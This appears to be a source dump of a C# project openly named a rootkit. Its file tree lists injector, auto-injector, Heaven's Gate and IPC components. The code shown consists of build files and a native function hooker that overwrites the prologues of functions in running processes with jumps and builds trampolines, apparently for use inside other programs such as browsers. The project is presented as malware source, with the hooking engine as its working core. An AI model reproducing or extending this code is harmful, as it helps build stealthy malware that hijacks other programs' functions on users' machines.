├── .gitignore
├── 32bit inject c# run.asm
├── 64bit inject c# run.asm
├── CSharpRookit.sln
└── CSharpRootkit
├── App.config
├── CSharpRootkit.csproj
├── CSharpRootkit.csproj.user
├── FunctionHooker
├── NativeFunctionHooker.cs
└── RootKit.cs
├── HeavensGate
└── HeavensGate.cs
├── IPC
├── RootKitClientInterface.cs
└── RootKitInterface.cs
├── Injector
└── SharpInjector.cs
├── NativeMethods
├── DbgInterface.cs
├── NativeMethods.cs
└── SpecialNativeMethods.cs
├── Program.cs
├── Properties
└── AssemblyInfo.cs
├── Structs
├── InternalStructs.cs
├── InternalStructs32.cs
├── InternalStructs64.cs
├── RootKitIPCStructs.cs
└── RootKitInternalStructs.cs
└── Utils
├── AutoInjector.cs
├── Utils.cs
├── Utils32.cs
└── Utils64.cs
/.gitignore:
--------------------------------------------------------------------------------
1 | ## Ignore Visual Studio temporary files, build results, and
2 | ## files generated by popular Visual Studio add-ons.
3 | ##
4 | ## Get latest from httpsgithub.comgithubgitignoreblobmainVisualStudio.gitignore
5 |
6 | # User-specific files
7 | .rsuser
8 | .suo
9 | .user
10 | .userosscache
11 | .sln.docstates
12 |
13 | # User-specific files (MonoDevelopXamarin Studio)
14 | .userprefs
15 |
16 | # Mono auto generated files
17 | mono_crash.
18 |
19 | # Build results
20 | [Dd]ebug
21 | [Dd]ebugPublic
22 | [Rr]elease
23 | [Rr]eleases
24 | x64
25 | x86
26 | [Ww][Ii][Nn]32
27 | [Aa][Rr][Mm]
28 | [Aa][Rr][Mm]64
29 | bld
30 | [Bb]in
31 | [Oo]bj
32 | [Ll]og
33 | [Ll]ogs
34 |
35 | # Visual Studio 20152017 cacheoptions directory
36 | .vs
37 | # Uncomment if you have tasks that create the project's static files in wwwroot
38 | #wwwroot
39 |
40 | # Visual Studio 2017 auto generated files
41 | Generated Files
42 |
43 | # MSTest test Results
44 | [Tt]est[Rr]esult
45 | [Bb]uild[Ll]og.
46 |
47 | # NUnit
48 | .VisualState.xml
49 | TestResult.xml
50 | nunit-.xml
51 |
52 | # Build Results of an ATL Project
53 | [Dd]ebugPS
54 | [Rr]eleasePS
55 | dlldata.c
56 |
57 | # Benchmark Results
58 | BenchmarkDotNet.Artifacts
59 |
60 | # .NET Core
61 | project.lock.json
62 | project.fragment.lock.json
63 | artifacts
64 |
65 | # ASP.NET Scaffolding
66 | ScaffoldingReadMe.txt
67 |
68 | # StyleCop
69 | StyleCopReport.xml
70 |
71 | # Files built by Visual Studio
72 | _i.c
73 | _p.c
74 | _h.h
75 | .ilk
76 | .meta
77 | .obj
78 | .iobj
79 | .pch
80 | .pdb
81 | .ipdb
82 | .pgc
83 | .pgd
84 | .rsp
85 | .sbr
86 | .tlb
87 | .tli
88 | .tlh
89 | .tmp
90 | .tmp_proj
91 | _wpftmp.csproj
92 | .log
93 | .tlog
94 | .vspscc
95 | .vssscc
96 | .builds
97 | .pidb
98 | .svclog
99 | .scc
100 |
101 | # Chutzpah Test files
102 | _Chutzpah
103 |
104 | # Visual C++ cache files
105 | ipch
106 | .aps
107 | .ncb
108 | .opendb
109 | .opensdf
110 | .sdf
111 | .cachefile
112 | .VC.db
113 | .VC.VC.opendb
114 |
115 | # Visual Studio profiler
116 | .psess
117 | .vsp
118 | .vspx
119 | .sap
120 |
121 | # Visual Studio Trace Files
122 | .e2e
123 |
124 | # TFS 2012 Local Workspace
125 | $tf
126 |
127 | # Guidance Automation Toolkit
128 | .gpState
129 |
130 | # ReSharper is a .NET coding add-in
131 | _ReSharper
132 | .[Rr]e[Ss]harper
133 | .DotSettings.user
134 |
135 | # TeamCity is a build add-in
136 | _TeamCity
137 |
138 | # DotCover is a Code Coverage Tool
139 | .dotCover
140 |
141 | # AxoCover is a Code Coverage Tool
142 | .axoCover
143 | !.axoCoversettings.json
144 |
145 | # Coverlet is a free, cross platform Code Coverage Tool
146 | coverage.json
147 | coverage.xml
148 | coverage.info
149 |
150 | # Visual Studio code coverage results
151 | .coverage
152 | .coveragexml
153 |
154 | # NCrunch
155 | _NCrunch_
156 | .crunch.local.xml
157 | nCrunchTemp_
158 |
159 | # MightyMoose
160 | .mm.
161 | AutoTest.Net
162 |
163 | # Web workbench (sass)
164 | .sass-cache
165 |
166 | # Installshield output folder
167 | [Ee]xpress
168 |
169 | # DocProject is a documentation generator add-in
170 | DocProjectbuildhelp
171 | DocProjectHelp.HxT
172 | DocProjectHelp.HxC
173 | DocProjectHelp.hhc
174 | DocProjectHelp.hhk
175 | DocProjectHelp.hhp
176 | DocProjectHelpHtml2
177 | DocProjectHelphtml
178 |
179 | # Click-Once directory
180 | publish
181 |
182 | # Publish Web Output
183 | .[Pp]ublish.xml
184 | .azurePubxml
185 | # Note Comment the next line if you want to checkin your web deploy settings,
186 | # but database connection strings (with potential passwords) will be unencrypted
187 | .pubxml
188 | .publishproj
189 |
190 | # Microsoft Azure Web App publish settings. Comment the next line if you want to
191 | # checkin your Azure Web App publish settings, but sensitive information contained
192 | # in these scripts will be unencrypted
193 | PublishScripts
194 |
195 | # NuGet Packages
196 | .nupkg
197 | # NuGet Symbol Packages
198 | .snupkg
199 | # The packages folder can be ignored because of Package Restore
200 | [Pp]ackages
201 | # except build, which is used as an MSBuild target.
202 | ![Pp]ackagesbuild
203 | # Uncomment if necessary however generally it will be regenerated when needed
204 | #![Pp]ackagesrepositories.config
205 | # NuGet v3's project.json files produces more ignorable files
206 | .nuget.props
207 | .nuget.targets
208 |
209 | # Microsoft Azure Build Output
210 | csx
211 | .build.csdef
212 |
213 | # Microsoft Azure Emulator
214 | ecf
215 | rcf
216 |
217 | # Windows Store app package directories and files
218 | AppPackages
219 | BundleArtifacts
220 | Package.StoreAssociation.xml
221 | _pkginfo.txt
222 | .appx
223 | .appxbundle
224 | .appxupload
225 |
226 | # Visual Studio cache files
227 | # files ending in .cache can be ignored
228 | .[Cc]ache
229 | # but keep track of directories ending in .cache
230 | !.[Cc]ache
231 |
232 | # Others
233 | ClientBin
234 | ~$
235 | ~
236 | .dbmdl
237 | .dbproj.schemaview
238 | .jfm
239 | .pfx
240 | .publishsettings
241 | orleans.codegen.cs
242 |
243 | # Including strong name files can present a security risk
244 | # (httpsgithub.comgithubgitignorepull2483#issue-259490424)
245 | #.snk
246 |
247 | # Since there are multiple workflows, uncomment next line to ignore bower_components
248 | # (httpsgithub.comgithubgitignorepull1529#issuecomment-104372622)
249 | #bower_components
250 |
251 | # RIASilverlight projects
252 | Generated_Code
253 |
254 | # Backup & report files from converting an old project file
255 | # to a newer Visual Studio version. Backup files are not needed,
256 | # because we have git ;-)
257 | _UpgradeReport_Files
258 | Backup
259 | UpgradeLog.XML
260 | UpgradeLog.htm
261 | ServiceFabricBackup
262 | .rptproj.bak
263 |
264 | # SQL Server files
265 | .mdf
266 | .ldf
267 | .ndf
268 |
269 | # Business Intelligence projects
270 | .rdl.data
271 | .bim.layout
272 | .bim_.settings
273 | .rptproj.rsuser
274 | - [Bb]ackup.rdl
275 | - [Bb]ackup ([0-9]).rdl
276 | - [Bb]ackup ([0-9][0-9]).rdl
277 |
278 | # Microsoft Fakes
279 | FakesAssemblies
280 |
281 | # GhostDoc plugin setting file
282 | .GhostDoc.xml
283 |
284 | # Node.js Tools for Visual Studio
285 | .ntvs_analysis.dat
286 | node_modules
287 |
288 | # Visual Studio 6 build log
289 | .plg
290 |
291 | # Visual Studio 6 workspace options file
292 | .opt
293 |
294 | # Visual Studio 6 auto-generated workspace file (contains which files were open etc.)
295 | .vbw
296 |
297 | # Visual Studio 6 auto-generated project file (contains which files were open etc.)
298 | .vbp
299 |
300 | # Visual Studio 6 workspace and project file (working project files containing files to include in project)
301 | .dsw
302 | .dsp
303 |
304 | # Visual Studio 6 technical files
305 | .ncb
306 | .aps
307 |
308 | # Visual Studio LightSwitch build output
309 | .HTMLClientGeneratedArtifacts
310 | .DesktopClientGeneratedArtifacts
311 | .DesktopClientModelManifest.xml
312 | .ServerGeneratedArtifacts
313 | .ServerModelManifest.xml
314 | _Pvt_Extensions
315 |
316 | # Paket dependency manager
317 | .paketpaket.exe
318 | paket-files
319 |
320 | # FAKE - F# Make
321 | .fake
322 |
323 | # CodeRush personal settings
324 | .crpersonal
325 |
326 | # Python Tools for Visual Studio (PTVS)
327 | __pycache__
328 | .pyc
329 |
330 | # Cake - Uncomment if you are using it
331 | # tools
332 | # !toolspackages.config
333 |
334 | # Tabs Studio
335 | .tss
336 |
337 | # Telerik's JustMock configuration file
338 | .jmconfig
339 |
340 | # BizTalk build output
341 | .btp.cs
342 | .btm.cs
343 | .odx.cs
344 | .xsd.cs
345 |
346 | # OpenCover UI analysis results
347 | OpenCover
348 |
349 | # Azure Stream Analytics local run output
350 | ASALocalRun
351 |
352 | # MSBuild Binary and Structured Log
353 | .binlog
354 |
355 | # NVidia Nsight GPU debugger configuration file
356 | .nvuser
357 |
358 | # MFractors (Xamarin productivity tool) working folder
359 | .mfractor
360 |
361 | # Local History for Visual Studio
362 | .localhistory
363 |
364 | # Visual Studio History (VSHistory) files
365 | .vshistory
366 |
367 | # BeatPulse healthcheck temp database
368 | healthchecksdb
369 |
370 | # Backup folder for Package Reference Convert tool in Visual Studio 2017
371 | MigrationBackup
372 |
373 | # Ionide (cross platform F# VS Code tools) working folder
374 | .ionide
375 |
376 | # Fody - auto-generated XML schema
377 | FodyWeavers.xsd
378 |
379 | # VS Code files for those working on multiple tools
380 | .vscode
381 | !.vscodesettings.json
382 | !.vscodetasks.json
383 | !.vscodelaunch.json
384 | !.vscodeextensions.json
385 | .code-workspace
386 |
387 | # Local History for Visual Studio Code
388 | .history
389 |
390 | # Windows Installer files from build outputs
391 | .cab
392 | .msi
393 | .msix
394 | .msm
395 | .msp
396 |
397 | # JetBrains Rider
398 | .sln.iml
--------------------------------------------------------------------------------
/CSharpRookit.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 16
4 | VisualStudioVersion = 16.0.33328.57
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "CSharpRootkit", "CSharpRootkit\CSharpRootkit.csproj", "{685773D1-EBE7-4766-A087-B3CDCA590677}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|Any CPU = Debug|Any CPU
11 | Debug|x64 = Debug|x64
12 | Debug|x86 = Debug|x86
13 | Release|Any CPU = Release|Any CPU
14 | Release|x64 = Release|x64
15 | Release|x86 = Release|x86
16 | EndGlobalSection
17 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
18 | {685773D1-EBE7-4766-A087-B3CDCA590677}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
19 | {685773D1-EBE7-4766-A087-B3CDCA590677}.Debug|Any CPU.Build.0 = Debug|Any CPU
20 | {685773D1-EBE7-4766-A087-B3CDCA590677}.Debug|x64.ActiveCfg = Debug|x64
21 | {685773D1-EBE7-4766-A087-B3CDCA590677}.Debug|x64.Build.0 = Debug|x64
22 | {685773D1-EBE7-4766-A087-B3CDCA590677}.Debug|x86.ActiveCfg = Debug|x86
23 | {685773D1-EBE7-4766-A087-B3CDCA590677}.Debug|x86.Build.0 = Debug|x86
24 | {685773D1-EBE7-4766-A087-B3CDCA590677}.Release|Any CPU.ActiveCfg = Release|Any CPU
25 | {685773D1-EBE7-4766-A087-B3CDCA590677}.Release|Any CPU.Build.0 = Release|Any CPU
26 | {685773D1-EBE7-4766-A087-B3CDCA590677}.Release|x64.ActiveCfg = Release|x64
27 | {685773D1-EBE7-4766-A087-B3CDCA590677}.Release|x64.Build.0 = Release|x64
28 | {685773D1-EBE7-4766-A087-B3CDCA590677}.Release|x86.ActiveCfg = Release|x86
29 | {685773D1-EBE7-4766-A087-B3CDCA590677}.Release|x86.Build.0 = Release|x86
30 | EndGlobalSection
31 | GlobalSection(SolutionProperties) = preSolution
32 | HideSolutionNode = FALSE
33 | EndGlobalSection
34 | GlobalSection(ExtensibilityGlobals) = postSolution
35 | SolutionGuid = {18D04515-13AB-46F2-814B-9EE2D1B7A862}
36 | EndGlobalSection
37 | EndGlobal
38 |
--------------------------------------------------------------------------------
/CSharpRootkit/App.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/CSharpRootkit/CSharpRootkit.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | AnyCPU
7 | {685773D1-EBE7-4766-A087-B3CDCA590677}
8 | Exe
9 | CSharpRootkit
10 | CSharpRootkit
11 | v4.8
12 | 512
13 | true
14 | true
15 |
16 |
17 | AnyCPU
18 | true
19 | full
20 | false
21 | bin\Debug\
22 | DEBUG;TRACE
23 | prompt
24 | 4
25 | true
26 |
27 |
28 | AnyCPU
29 | pdbonly
30 | true
31 | bin\Release\
32 | TRACE
33 | prompt
34 | 4
35 | true
36 |
37 |
38 | true
39 | bin\x64\Debug\
40 | DEBUG;TRACE
41 | full
42 | x64
43 | 7.3
44 | prompt
45 | true
46 | true
47 |
48 |
49 | bin\x64\Release\
50 | TRACE
51 | true
52 | pdbonly
53 | x64
54 | 7.3
55 | prompt
56 | true
57 | true
58 |
59 |
60 | true
61 | bin\x86\Debug\
62 | DEBUG;TRACE
63 | full
64 | x86
65 | 7.3
66 | prompt
67 | true
68 | true
69 |
70 |
71 | bin\x86\Release\
72 | TRACE
73 | true
74 | pdbonly
75 | x86
76 | 7.3
77 | prompt
78 | true
79 | true
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 |
94 |
95 |
96 |
97 |
98 |
99 |
100 |
101 |
102 |
103 |
104 |
105 |
106 |
107 |
108 |
109 |
110 |
111 |
112 |
113 |
114 |
115 |
116 |
117 |
118 |
119 |
120 |
121 |
122 |
123 |
--------------------------------------------------------------------------------
/CSharpRootkit/CSharpRootkit.csproj.user:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | ProjectFiles
5 |
6 |
--------------------------------------------------------------------------------
/CSharpRootkit/FunctionHooker/NativeFunctionHooker.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Runtime.InteropServices;
5 | using System.Text;
6 | using System.Threading.Tasks;
7 | using System.Windows.Forms;
8 | using static CSharpRootkit.InternalStructs;
9 |
10 | namespace CSharpRootkit
11 | {
12 | public class NativeFunctionHooker
13 | {
14 | private static uint PAGE_EXECUTE_READWRITE = 0x40;
15 | private static ulong allocationGranularity = 0;
16 | private static uint MEM_COMMIT = 0x1000;
17 | private static uint MEM_RESERVE = 0x2000;
18 | private static uint MEM_FREE = 0x10000;
19 | private static uint MEM_RELEASE = 0x8000;
20 |
21 |
22 | private static int X64ByteAbsoluteCodeLength = 13;
23 | private static int X64ByteNewAbsoluteCodeLength = 16;
24 | private static int X64ByteRelativeCodeLength = 5;
25 | private static int X86ByteCodeLength = 5;
26 |
27 | private bool usedRelativeX64Hook = false;
28 | private byte[] RestoreBytes = null;
29 | private IntPtr TargetFunction;
30 | private IntPtr HookFunction;
31 | private IntPtr Trampoline = IntPtr.Zero;
32 |
33 | public NativeFunctionHooker(IntPtr TargetFunction, IntPtr HookFunction)
34 | {
35 | this.TargetFunction = TargetFunction;
36 | this.HookFunction = HookFunction;
37 | }
38 |
39 | private static int GetSmallestInstructionAmount(IntPtr Function, int target, out string AsmForSection, bool IgnorePossibleBreakers = false)
40 | {
41 | int CurrentCount = 0;
42 | AsmForSection = "";
43 | while (CurrentCount < target)
44 | {
45 | Tuple InstructionData = Utils.GetInstructionSizeAndString((ulong)Function);
46 | int InstructionLength = InstructionData.Item1;
47 | string asmData = InstructionData.Item2.ToLower();
48 | if (!IgnorePossibleBreakers && (asmData.Contains("jmp") || asmData.Contains("je") || asmData.Contains("jnz") || asmData.Contains("jl") || asmData.Contains("jne")))
49 | {
50 | throw new Exception("Target length has a good chance of being out of the function!");
51 | }
52 | Function += InstructionLength;
53 | CurrentCount += InstructionLength;
54 | AsmForSection += asmData;
55 | AsmForSection += "\n";
56 | }
57 | AsmForSection = AsmForSection.Trim('\n');
58 | return CurrentCount;
59 | }
60 |
61 | private byte[] GetOptimalJmpByteCodeX64(IntPtr target, string asm)
62 | {
63 | if (!asm.Contains("rax") && !asm.Contains("eax"))
64 | {
65 | return CreateAbsoluteJumpx64(target, true);
66 | }
67 | else if (!asm.Contains("r10"))
68 | {
69 | return CreateAbsoluteJumpx64(target, false, true);
70 | }
71 | else if (!asm.Contains("r11"))
72 | {
73 | return CreateAbsoluteJumpx64(target, false, false, true);
74 | }
75 | throw new Exception("Couldnt get optimal bytecode!");
76 | }
77 |
78 | private IntPtr InstallHookX86()
79 | {
80 | int InitalInstructionsLength = GetSmallestInstructionAmount(TargetFunction, X86ByteCodeLength, out string asmCode);
81 | if (RestoreBytes == null)
82 | {
83 | RestoreBytes = new byte[InitalInstructionsLength];
84 | Marshal.Copy(TargetFunction, RestoreBytes, 0, InitalInstructionsLength);
85 | }
86 |
87 | Trampoline = Marshal.AllocHGlobal(InitalInstructionsLength + X86ByteCodeLength);
88 |
89 | byte[] jump_back = CreateJumpx86(TargetFunction + InitalInstructionsLength, Trampoline + InitalInstructionsLength);
90 | byte[] TrampolineBytes = new byte[InitalInstructionsLength + jump_back.Length];
91 | Marshal.Copy(TargetFunction, TrampolineBytes, 0, InitalInstructionsLength);
92 | Buffer.BlockCopy(jump_back, 0, TrampolineBytes, InitalInstructionsLength, jump_back.Length);
93 |
94 | Marshal.Copy(TrampolineBytes, 0, Trampoline, TrampolineBytes.Length);
95 |
96 | byte[] JumpBytes = new byte[InitalInstructionsLength];
97 | for (int i = 0; i < JumpBytes.Length; i++)
98 | {
99 | JumpBytes[i] = 0x90; //nop
100 | }
101 | byte[] HookBytes = CreateJumpx86(HookFunction, TargetFunction);
102 | Buffer.BlockCopy(HookBytes, 0, JumpBytes, 0, HookBytes.Length);
103 |
104 | bool Worked = NativeMethods.VirtualProtect(Trampoline, (UIntPtr)TrampolineBytes.Length, PAGE_EXECUTE_READWRITE, out uint _);
105 | if (!Worked)
106 | {
107 | throw new Exception("Couldnt set the Trampoline memory to PAGE_EXECUTE_READ!");
108 | }
109 |
110 | Worked = NativeMethods.VirtualProtect(TargetFunction, (UIntPtr)JumpBytes.Length, PAGE_EXECUTE_READWRITE, out uint oldProtect);
111 | if (!Worked)
112 | {
113 | throw new Exception("Couldnt set the TargetFunction memory to PAGE_EXECUTE_READWRITE!");
114 | }
115 |
116 | Marshal.Copy(JumpBytes, 0, TargetFunction, JumpBytes.Length);
117 |
118 | NativeMethods.VirtualProtect(TargetFunction, (UIntPtr)JumpBytes.Length, oldProtect, out _);
119 |
120 | return Trampoline;
121 | }
122 |
123 | private IntPtr InstallAbsoluteHookX64()
124 | {
125 | int InitalInstructionsLength = GetSmallestInstructionAmount(TargetFunction, X64ByteAbsoluteCodeLength, out string asmCode);
126 |
127 | if (RestoreBytes == null)
128 | {
129 | RestoreBytes = new byte[InitalInstructionsLength];
130 | Marshal.Copy(TargetFunction, RestoreBytes, 0, InitalInstructionsLength);
131 | }
132 |
133 | byte[] jump_back = GetOptimalJmpByteCodeX64(TargetFunction + InitalInstructionsLength, asmCode);
134 | byte[] TrampolineBytes = new byte[InitalInstructionsLength + jump_back.Length];
135 | Marshal.Copy(TargetFunction, TrampolineBytes, 0, InitalInstructionsLength);
136 | Buffer.BlockCopy(jump_back, 0, TrampolineBytes, InitalInstructionsLength, jump_back.Length);
137 |
138 | Trampoline = Marshal.AllocHGlobal(TrampolineBytes.Length);
139 | Marshal.Copy(TrampolineBytes, 0, Trampoline, TrampolineBytes.Length);
140 | int InitalInstructionsLength1 = GetSmallestInstructionAmount(Trampoline, TrampolineBytes.Length, out string asmCode1, true);
141 |
142 | byte[] JumpBytes = new byte[InitalInstructionsLength];
143 | for (int i = 0; i < JumpBytes.Length; i++)
144 | {
145 | JumpBytes[i] = 0x90; //nop
146 | }
147 | byte[] HookBytes = CreateAbsoluteJumpx64(HookFunction, false, true);
148 | Buffer.BlockCopy(HookBytes, 0, JumpBytes, 0, HookBytes.Length);
149 |
150 | bool Worked = NativeMethods.VirtualProtect(Trampoline, (UIntPtr)TrampolineBytes.Length, PAGE_EXECUTE_READWRITE, out uint _);
151 | if (!Worked)
152 | {
153 | throw new Exception("Couldnt set the Trampoline memory to PAGE_EXECUTE_READ!");
154 | }
155 |
156 | Worked = NativeMethods.VirtualProtect(TargetFunction, (UIntPtr)JumpBytes.Length, PAGE_EXECUTE_READWRITE, out uint oldProtect);
157 | if (!Worked)
158 | {
159 | throw new Exception("Couldnt set the TargetFunction memory to PAGE_EXECUTE_READWRITE!");
160 | }
161 |
162 | Marshal.Copy(JumpBytes, 0, TargetFunction, JumpBytes.Length);
163 |
164 | NativeMethods.VirtualProtect(TargetFunction, (UIntPtr)JumpBytes.Length, oldProtect, out _);
165 |
166 | return Trampoline;
167 |
168 | }
169 |
170 | private IntPtr InstallNewAbsoluteHookX64()
171 | {
172 | int InitalInstructionsLength = GetSmallestInstructionAmount(TargetFunction, X64ByteNewAbsoluteCodeLength, out string asmCode);
173 |
174 | if (RestoreBytes == null)
175 | {
176 | RestoreBytes = new byte[InitalInstructionsLength];
177 | Marshal.Copy(TargetFunction, RestoreBytes, 0, InitalInstructionsLength);
178 | }
179 |
180 | byte[] jump_back = CreateAbsoluteJumpx64New(TargetFunction + InitalInstructionsLength);//GetOptimalJmpByteCodeX64(TargetFunction + InitalInstructionsLength, asmCode);
181 | byte[] TrampolineBytes = new byte[InitalInstructionsLength + jump_back.Length];
182 | Marshal.Copy(TargetFunction, TrampolineBytes, 0, InitalInstructionsLength);
183 | Buffer.BlockCopy(jump_back, 0, TrampolineBytes, InitalInstructionsLength, jump_back.Length);
184 |
185 | Trampoline = Marshal.AllocHGlobal(TrampolineBytes.Length);
186 | Marshal.Copy(TrampolineBytes, 0, Trampoline, TrampolineBytes.Length);
187 | int InitalInstructionsLength1 = GetSmallestInstructionAmount(Trampoline, TrampolineBytes.Length, out string asmCode1, true);
188 |
189 | byte[] JumpBytes = new byte[InitalInstructionsLength];
190 | for (int i = 0; i < JumpBytes.Length; i++)
191 | {
192 | JumpBytes[i] = 0x90; //nop
193 | }
194 | byte[] HookBytes = CreateAbsoluteJumpx64New(HookFunction);
195 | Buffer.BlockCopy(HookBytes, 0, JumpBytes, 0, HookBytes.Length);
196 |
197 | bool Worked = NativeMethods.VirtualProtect(Trampoline, (UIntPtr)TrampolineBytes.Length, PAGE_EXECUTE_READWRITE, out uint _);
198 | if (!Worked)
199 | {
200 | throw new Exception("Couldnt set the Trampoline memory to PAGE_EXECUTE_READ!");
201 | }
202 |
203 | Worked = NativeMethods.VirtualProtect(TargetFunction, (UIntPtr)JumpBytes.Length, PAGE_EXECUTE_READWRITE, out uint oldProtect);
204 | if (!Worked)
205 | {
206 | throw new Exception("Couldnt set the TargetFunction memory to PAGE_EXECUTE_READWRITE!");
207 | }
208 |
209 | Marshal.Copy(JumpBytes, 0, TargetFunction, JumpBytes.Length);
210 |
211 | NativeMethods.VirtualProtect(TargetFunction, (UIntPtr)JumpBytes.Length, oldProtect, out _);
212 |
213 | return Trampoline;
214 |
215 | }
216 |
217 | private IntPtr InstallRelativeHookX64()
218 | {
219 | int InitalInstructionsLength = GetSmallestInstructionAmount(TargetFunction, X64ByteAbsoluteCodeLength, out string asmCode);
220 | if (RestoreBytes == null)
221 | {
222 | RestoreBytes = new byte[InitalInstructionsLength];
223 | Marshal.Copy(TargetFunction, RestoreBytes, 0, InitalInstructionsLength);
224 | }
225 |
226 | Trampoline = SpecialAllocate2GBRange(TargetFunction + InitalInstructionsLength, (uint)(InitalInstructionsLength + X64ByteRelativeCodeLength));//Marshal.AllocHGlobal(InitalInstructionsLength + X64ByteRelativeCodeLength);
227 |
228 | byte[] jump_back = CreateRelativeJumpx64(TargetFunction + InitalInstructionsLength, Trampoline + InitalInstructionsLength);
229 | byte[] TrampolineBytes = new byte[InitalInstructionsLength + jump_back.Length];
230 | Marshal.Copy(TargetFunction, TrampolineBytes, 0, InitalInstructionsLength);
231 | Buffer.BlockCopy(jump_back, 0, TrampolineBytes, InitalInstructionsLength, jump_back.Length);
232 |
233 | Marshal.Copy(TrampolineBytes, 0, Trampoline, TrampolineBytes.Length);
234 |
235 | byte[] JumpBytes = new byte[InitalInstructionsLength];
236 | for (int i = 0; i < JumpBytes.Length; i++)
237 | {
238 | JumpBytes[i] = 0x90; //nop
239 | }
240 | byte[] HookBytes = CreateAbsoluteJumpx64(HookFunction);
241 | Buffer.BlockCopy(HookBytes, 0, JumpBytes, 0, HookBytes.Length);
242 |
243 | bool Worked = NativeMethods.VirtualProtect(Trampoline, (UIntPtr)TrampolineBytes.Length, PAGE_EXECUTE_READWRITE, out uint _);
244 | if (!Worked)
245 | {
246 | throw new Exception("Couldnt set the Trampoline memory to PAGE_EXECUTE_READ!");
247 | }
248 |
249 | Worked = NativeMethods.VirtualProtect(TargetFunction, (UIntPtr)JumpBytes.Length, PAGE_EXECUTE_READWRITE, out uint oldProtect);
250 | if (!Worked)
251 | {
252 | throw new Exception("Couldnt set the TargetFunction memory to PAGE_EXECUTE_READWRITE!");
253 | }
254 |
255 | Marshal.Copy(JumpBytes, 0, TargetFunction, JumpBytes.Length);
256 |
257 | NativeMethods.VirtualProtect(TargetFunction, (UIntPtr)JumpBytes.Length, oldProtect, out _);
258 |
259 | usedRelativeX64Hook = true;
260 | return Trampoline;
261 | }
262 |
263 | public T InstallHook()
264 | {
265 | if (Environment.Is64BitProcess)
266 | {
267 | return Marshal.GetDelegateForFunctionPointer(InstallAbsoluteHookX64());//the "new" method fucks up browsers for some reason, using my old method fixs it for some reason.
268 | }
269 | else
270 | {
271 | return Marshal.GetDelegateForFunctionPointer(InstallHookX86());
272 | }
273 | }
274 |
275 | public void RemoveHook()
276 | {
277 | if (RestoreBytes == null)
278 | {
279 | throw new Exception("RestoreBytes is null, did you install the hook?");
280 | }
281 |
282 | bool Worked = NativeMethods.VirtualProtect(TargetFunction, (UIntPtr)RestoreBytes.Length, PAGE_EXECUTE_READWRITE, out uint oldProtect);
283 |
284 | if (!Worked)
285 | {
286 | throw new Exception("Couldnt set the TargetFunction memory to PAGE_EXECUTE_READWRITE!");
287 | }
288 |
289 | Marshal.Copy(RestoreBytes, 0, TargetFunction, RestoreBytes.Length);
290 |
291 | NativeMethods.VirtualProtect(TargetFunction, (UIntPtr)RestoreBytes.Length, oldProtect, out _);
292 | if (usedRelativeX64Hook)
293 | {
294 | FreeSpeciallyAllocatedData(Trampoline);
295 | usedRelativeX64Hook = false;
296 | }
297 | else
298 | {
299 | Marshal.FreeHGlobal(Trampoline);
300 | }
301 | Trampoline = IntPtr.Zero;
302 | RestoreBytes = null;
303 | }
304 |
305 | private byte[] CreateAbsoluteJumpx64New(IntPtr target)
306 | {
307 | byte[] jmpBytes = new byte[X64ByteNewAbsoluteCodeLength];
308 |
309 | jmpBytes[0] = 0x50; // push rax
310 | jmpBytes[1] = 0x48; // REX.W prefix
311 | jmpBytes[2] = 0xB8; // mov rax, target
312 | BitConverter.GetBytes(target.ToInt64()).CopyTo(jmpBytes, 3);
313 | jmpBytes[11] = 0x48; // REX.W prefix
314 | jmpBytes[12] = 0x87; // xchg
315 | jmpBytes[13] = 0x04; // ModR/M byte
316 | jmpBytes[14] = 0x24; // SIB byte
317 | jmpBytes[15] = 0xC3; // ret
318 |
319 | return jmpBytes;
320 | }
321 | private byte[] CreateAbsoluteJumpx64(IntPtr target, bool UseRax = true, bool UseR10 = false, bool UseR11 = false)
322 | {
323 | int trueCount = 0;
324 | if (UseRax) trueCount += 1;
325 | if (UseR10) trueCount += 1;
326 | if (UseR11) trueCount += 1;
327 | if (trueCount != 1)
328 | {
329 | throw new Exception("you can only use 1 register!");
330 | }
331 | byte[] jmpBytes = new byte[X64ByteAbsoluteCodeLength];
332 |
333 |
334 |
335 | if (UseR10)
336 | {
337 | jmpBytes[0] = 0x49; // REX prefix for R10
338 | jmpBytes[1] = 0xBA; // MOV R10, target
339 | //addr
340 | jmpBytes[10] = 0x41; // REX prefix for R10
341 | jmpBytes[11] = 0xFF; // JMP R10
342 | jmpBytes[12] = 0xE2;
343 | }
344 | else if (UseR11)
345 | {
346 | jmpBytes[0] = 0x49; // REX prefix for R11
347 | jmpBytes[1] = 0xBB; // MOV R11, target
348 | //addr
349 | jmpBytes[10] = 0x41; // REX prefix for R11
350 | jmpBytes[11] = 0xFF; // JMP R11
351 | jmpBytes[12] = 0xE3;
352 | }
353 | else
354 | {
355 | jmpBytes[0] = 0x48; // REX.W prefix for 64-bit operand size
356 | jmpBytes[1] = 0xB8; // MOV RAX, target
357 | //addr
358 | jmpBytes[10] = 0xFF; // JMP RAX
359 | jmpBytes[11] = 0xE0;
360 | jmpBytes[12] = 0x90; // nop
361 | }
362 |
363 | BitConverter.GetBytes(target.ToInt64()).CopyTo(jmpBytes, 2);
364 |
365 |
366 | return jmpBytes;
367 | }
368 | private byte[] CreateRelativeJumpx64(IntPtr target, IntPtr source)
369 | {
370 | long Tempoffset = target.ToInt64() - source.ToInt64() - X64ByteRelativeCodeLength;
371 | if (Math.Abs(Tempoffset) >= 0x80000000)
372 | {
373 | throw new Exception("Distance between the 2 functions are too large, must be below 2^31");
374 | }
375 | int offset = (int)Tempoffset;
376 | byte[] jmpBytes = new byte[X64ByteRelativeCodeLength];
377 | jmpBytes[0] = 0xE9; // JMP opcode
378 | BitConverter.GetBytes(offset).CopyTo(jmpBytes, 1);
379 | return jmpBytes;
380 | }
